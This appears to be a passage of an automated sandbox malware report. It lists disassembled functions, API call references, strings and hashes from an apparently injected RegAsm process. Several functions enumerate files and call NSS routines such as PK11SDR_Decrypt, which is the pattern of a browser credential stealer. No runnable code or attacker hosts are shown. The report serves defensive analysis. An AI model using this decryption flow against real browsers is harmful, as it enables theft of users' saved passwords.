Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 00414570 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,01192928,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,011918A8), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\*, xrefs: 0041459A
%s\%s, xrefs: 0041461B

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 6C3DEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C3DDAE2,?), ref: 6C3DC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3DF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3DF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C3DF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3DF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C4A218C), ref: 6C3DF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C3DF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3DF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C3DF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C3DF210

Part of subcall function 6C3852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C3DF1E9,?,00000000,?,?), ref: 6C3852F5
Part of subcall function 6C3852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C38530F
Part of subcall function 6C3852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C385326
Part of subcall function 6C3852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C3DF1E9,?,00000000,?,?), ref: 6C385340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3DF227

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C3DF23E

Part of subcall function 6C3CBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C37E708,00000000,00000000,00000004,00000000), ref: 6C3CBE6A
Part of subcall function 6C3CBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C3804DC,?), ref: 6C3CBE7E
Part of subcall function 6C3CBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C3CBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C3DF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C3DF3A8

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C3DF3B3

Part of subcall function 6C382D20: PK11_DestroyObject.NSS3(?,?), ref: 6C382D3C
Part of subcall function 6C382D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C382D5F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 4fdf813ffa7b936d84fa0430a8d2dce0f5f4f48df78498502b1a02ca01fa75b3
Instruction ID: 5b2f864e4d796e9e11ff077c895d94f478879b9c80038f9c715688613057778f
Opcode Fuzzy Hash: 4fdf813ffa7b936d84fa0430a8d2dce0f5f4f48df78498502b1a02ca01fa75b3
Instruction Fuzzy Hash: 31D13BB6E016059BEB14CFA9D8C0A9EB7B5EF4C308F1A8129D915A7711EB32F805CF51

Function 6C3BA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C3BA9CA

Part of subcall function 6C3D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
Part of subcall function 6C3D0FF0: PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016
Part of subcall function 6C3D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C4D0B04,?), ref: 6C3BA9F7

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C3BAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3BAA33
PK11_GetInternalKeySlot.NSS3 ref: 6C3BAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C3BAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C3BAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C3BAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3BAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C3BAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C3BAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C3BABDC
PK11_FreeSymKey.NSS3(?), ref: 6C3BABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3BABF7

Part of subcall function 6C3BAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C3BAB3E,?,?,?), ref: 6C3BAC35
Part of subcall function 6C3BAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C3BAB3E,?,?,?), ref: 6C3BAC55
Part of subcall function 6C3BAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C3BAB3E,?,?), ref: 6C3BAC70
Part of subcall function 6C3BAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C3BAC92
Part of subcall function 6C3BAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3BAB3E), ref: 6C3BACD7

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 5caab9027bc64f61a52a08f458d29f42a3376bf8becf42eba0a4b6713f0778ea
Instruction ID: 00f33b7ea5f85ebbcd2d5642ef440fbf4f240529299fbddc71429ec34930a6da
Opcode Fuzzy Hash: 5caab9027bc64f61a52a08f458d29f42a3376bf8becf42eba0a4b6713f0778ea
Instruction Fuzzy Hash: BB711A72A04B019BD701CF64DC41B5BB7A5AFA4358F104A29FCA4A7B40FB32D9548FA3

Function 6C30AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C42CF46,?,6C2FCDBD,?,6C42BF31,?,?,?,?,?,?,?), ref: 6C30B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C42CF46,?,6C2FCDBD,?,6C42BF31), ref: 6C30B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C42CF46,?,6C2FCDBD,?,6C42BF31), ref: 6C30B0A2
CloseHandle.KERNEL32(?,?,6C42CF46,?,6C2FCDBD,?,6C42BF31,?,?,?,?,?,?,?,?,?), ref: 6C30B100
sqlite3_free.NSS3(?,?,00000002,?,6C42CF46,?,6C2FCDBD,?,6C42BF31,?,?,?,?,?,?,?), ref: 6C30B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C42CF46,?,6C2FCDBD,?,6C42BF31), ref: 6C30B12D

Part of subcall function 6C2F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C30C6FD,?,?,?,?,6C35F965,00000000), ref: 6C2F9F0E
Part of subcall function 6C2F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C35F965,00000000), ref: 6C2F9F5D

Strings

`Hl, xrefs: 6C30B0DF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `Hl
API String ID: 3155957115-3884000518
Opcode ID: eedf9868eba820e585f015b979d7176867a88b65a2bbdac9b033480e01425995
Instruction ID: 9ddc60838aba64066ed54a3a6ef54822e832b3eafef926a1438e125f4492334d
Opcode Fuzzy Hash: eedf9868eba820e585f015b979d7176867a88b65a2bbdac9b033480e01425995
Instruction Fuzzy Hash: 8591CEB2B042058FEB04EF65D885BABB7B5FF45308F14462DE4169BA50EB32E941CF91

Function 6C3A0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C3A0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3A0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C3A1006
PK11_FreeSymKey.NSS3(?), ref: 6C3A101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3A1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3A103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C3A1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C3A108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3A10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C3A10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C3A112E

Part of subcall function 6C3A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C3A08C4,?,?), ref: 6C3A15B8
Part of subcall function 6C3A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C3A08C4,?,?), ref: 6C3A15C1
Part of subcall function 6C3A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3A162E
Part of subcall function 6C3A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3A1637

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: dde525c3f34dd6c9b0eda5b889a16b7578ecd9ce3b79ee6f798efeb6060c567f
Instruction ID: e37b122ffe43ec09d43cf03c93fc9e9b7d39832fca633a5f55cc0a43cc5c404f
Opcode Fuzzy Hash: dde525c3f34dd6c9b0eda5b889a16b7578ecd9ce3b79ee6f798efeb6060c567f
Instruction Fuzzy Hash: 9E71B0B5A00205CFDB04CFA6C884AAAB7B5FF48318F14862CE51997B11E732D966CF91

Function 0040C820 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0118AA48), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
PK11_FreeSlot.NSS3(?), ref: 0040C961
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 6C300FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C2FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C35F9C9,?,6C35F4DA,6C35F9C9,?,?,6C32369A), ref: 6C2FCA7A
Part of subcall function 6C2FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C2FCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C30103E
EnterCriticalSection.KERNEL32(?), ref: 6C301139
LeaveCriticalSection.KERNEL32(?), ref: 6C301190
sqlite3_free.NSS3(00000000), ref: 6C301227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C30126E
sqlite3_free.NSS3(?), ref: 6C30127F

Strings

winAccess, xrefs: 6C30129B
PHl, xrefs: 6C30109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C301267

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: PHl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2581267382
Opcode ID: 1d048ff54383b80256b3e798d6e783b5a51e58d7eb3e2f0b9f66ae7daed0c3c5
Instruction ID: be4fe93074edd0df313a8ad9183a9c04ca036749759248fdcb0234fe7665d1c0
Opcode Fuzzy Hash: 1d048ff54383b80256b3e798d6e783b5a51e58d7eb3e2f0b9f66ae7daed0c3c5
Instruction Fuzzy Hash: 2E7119337052159BEB08FF65DC85A6A3379FB8632CF144229E81187A91DB31E901CFD2

Function 6C3C6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C371C6F,00000000,00000004,?,?), ref: 6C3C6C3F

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C371C6F,00000000,00000004,?,?), ref: 6C3C6C60
PR_ExplodeTime.NSS3(00000000,6C371C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C371C6F,00000000,00000004,?,?), ref: 6C3C6C94

Strings

gfff, xrefs: 6C3C6D66
gfff, xrefs: 6C3C6CF5
gfff, xrefs: 6C3C6D30
gfff, xrefs: 6C3C6D9C
gfff, xrefs: 6C3C6CFD

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0aed282d163b286387023de5494d106c658bd817b4560f273f4fcef98147332e
Instruction ID: 32a0bff657763afaba24e5e1181c0dca4f35291fcd8be50f7952a7979b09c0a5
Opcode Fuzzy Hash: 0aed282d163b286387023de5494d106c658bd817b4560f273f4fcef98147332e
Instruction Fuzzy Hash: E4513C72B015494FC708CDADDC526EEB7EA9BA4310F48C23AE442DB785D678D906CB52

Function 6C440F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C441027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4410B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C441353

Strings

%lld, xrefs: 6C44114B
%02x, xrefs: 6C4412F6
$, xrefs: 6C4412A0
zeroblob(%d), xrefs: 6C441223
NULL, xrefs: 6C44119E
'%.*q', xrefs: 6C441217, 6C441292
-- , xrefs: 6C440FF5

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: b138015de6318d0e5165906c7ac97bb993f73f1b763a7c425101202d76d25756
Instruction ID: df3bb0635df3218a29e9392b63677b621cc7cc6b56c4bd8d180749c2c0cd5780
Opcode Fuzzy Hash: b138015de6318d0e5165906c7ac97bb993f73f1b763a7c425101202d76d25756
Instruction Fuzzy Hash: 7CE1AC75A083809FE704CF14C480E6BBBF1EF8A349F24892DE99587B51E771E855CB82

Function 0040ED20 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
